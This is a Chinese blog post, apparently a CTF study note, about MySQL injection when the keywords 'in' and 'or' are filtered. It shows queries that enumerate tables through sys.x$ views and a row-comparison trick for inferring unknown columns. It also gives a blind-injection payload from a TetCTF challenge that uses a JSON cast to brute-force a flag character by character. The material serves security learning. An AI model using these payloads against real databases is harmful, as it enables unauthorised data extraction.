sql注入关键字过滤_过滤in,or字符的sql注入学习

在sql注入中,有时候会遇见一些过滤,将in或者or之类的匹配出来,这样传统的通过information_schema是得不出来列名的。

这里引入一个sys的一个表

8f9f085a9f20ca79bf8f8ee11fe66b6f.png

可以看到这里有很多表名。

1ed77c330e68cd007e90deab45f5c73f.png

这里有很多$符号的表名,这些表单里面就存在很多信息。

ff154f047d6e763b04b082b3e303ffa3.png

f0593062e5b4b7bd1890dd91116ac9a0.png

这里就出现了我创建的一个表。

这里还可以用

select table_name from sys.x$schema_table_statistics where table_schema=database();

来获得表名。

ea3cdd4c75cc0a1a55dcc7c44124b837.png

接下来"sys.x$statement_analysis"这个表记录了一些操作日志

ee058f44ca7bed59cd7b7b30aca13c1f.png

在sql注入中,或者在ctf中,可以通过这个看看别人是怎么操作的。

SELECT query FROM sys.x$statement_analysis

5ca957b5e61bdc98c4508c7008e77a99.png

当我们不知道列名那该怎么办呢?

这里有这么一个trick

select (select 1,'da13')=(select * from for_test);

这里对大小写不敏感,如果等式左右那边的列数相等,并且结果想同就会返回1.当然这里的等号也可以换成 符号

2cf2bec7080e3a142e4b3e2619a393ce.png

但是当我们要数据的时候得大小写分明,那么怎么办呢?

原本是binary函数即可,但是里面有"in"所以得换个方法。

在mysql中json是binary类,利用cast方法可以转换过来

0be4c4b740b6d8b68b816ec4e4e88378.png3997f6e64ca11c2b0634d9ed16dc8811.png

这里的concat函数因为后面的0是二进制的类,所以整个拼接后就是二进制的,所以就能进行大小写辨别了。

TetCTF中一个ctf题目就是用这个方法做的,这里就只拿payload说说。

((SELECT 1,CONCAT({flag}, CAST("0" as JSON))) <= (SELECT * FROM `Th1z_Fack1n_Fl4444g_Tabl3`))+1

这里我们对flag进行一个一个尝试,后面接上0,让整个爆破的字符串可以和后面的(真实的flag)进行大小写比较。

以上就是个人所做的一个小总结,有不足的地方还望各位大佬斧正!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值